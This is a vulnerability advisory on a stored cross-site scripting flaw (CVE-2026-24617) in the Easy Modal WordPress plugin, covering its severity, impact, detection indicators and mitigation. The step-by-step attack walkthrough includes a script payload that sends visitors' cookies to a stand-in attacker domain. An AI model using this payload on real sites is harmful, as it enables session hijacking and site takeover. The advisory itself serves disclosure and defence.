CVE-2026-24617: 
WordPress vulnerability analysis and mitigation

CVE-2026-24617 is a Stored Cross-Site Scripting (XSS) vulnerability in the Easy Modal WordPress plugin developed by Daniel Iser. It affects all versions of the plugin up to and including 2.1.0, with no lower version bound specified. The vulnerability was published on January 23, 2026, and was reported via Patchstack. It carries a CVSS v3.1 base score of 6.5 (Medium) (Feedly, Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Stored XSS variant. An authenticated attacker with low privileges can inject malicious scripts into fields managed by the Easy Modal plugin; these scripts are then stored server-side and executed in the browsers of other users who view the affected content. Exploitation requires user interaction (a victim visiting the page containing the injected payload) and operates with a changed scope, meaning the impact can extend beyond the vulnerable component itself (Feedly, Patchstack).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of victims, or further attacks against site administrators. Because the scope is changed, the impact extends beyond the plugin itself to the broader WordPress site and its users. Confidentiality, integrity, and availability are each assessed as low impact individually, but the combined risk — particularly against privileged users such as administrators — can result in full site compromise (Feedly).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2026-24617. The EPSS score is approximately 0.033%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated account with at least low-level privileges on the target WordPress site (Feedly).

1. Reconnaissance: Identify WordPress sites running the Easy Modal plugin version 2.1.0 or earlier using tools such as WPScan or by inspecting plugin directories.
2. Authentication: Obtain a low-privileged WordPress account (e.g., subscriber or contributor role) on the target site.
3. Inject payload: Navigate to the Easy Modal plugin's configuration or modal creation interface and insert a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable input field.
4. Persistence: Save the modal configuration, causing the payload to be stored in the WordPress database.
5. Trigger execution: When an administrator or other user visits a page that renders the affected modal, the stored script executes in their browser, enabling session hijacking or other malicious actions (Feedly, Patchstack).

• Logs: WordPress access logs showing authenticated POST requests to Easy Modal plugin admin endpoints containing HTML or JavaScript tags in request bodies; unusual admin-panel activity from low-privileged accounts.
• Database: Unexpected <script> tags or JavaScript event handlers stored in the Easy Modal plugin's database entries (e.g., wp_posts or plugin-specific tables).
• Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages with Easy Modal content, potentially carrying cookie or session data.
• Browser/Client: Users reporting unexpected redirects or pop-ups when visiting pages that display Easy Modal content.

Users should update the Easy Modal plugin to a version beyond 2.1.0 if a patched release is available from the plugin author Daniel Iser or the WordPress plugin repository. If no patch is yet available, the recommended workaround is to deactivate and remove the Easy Modal plugin until a fix is released. Additionally, restricting plugin configuration access to trusted administrator accounts only can reduce the attack surface by limiting who can inject content (Patchstack, Feedly).

The vulnerability was reported and disclosed by Patchstack, a WordPress security platform, and received standard coverage from vulnerability aggregators such as Vulners, VulDB, and CVEFeed. Wordfence included it in their weekly WordPress vulnerability report for the period of January 5–11, 2026. No notable independent researcher commentary or significant social media discussion has been identified beyond routine aggregation (Wordfence Blog).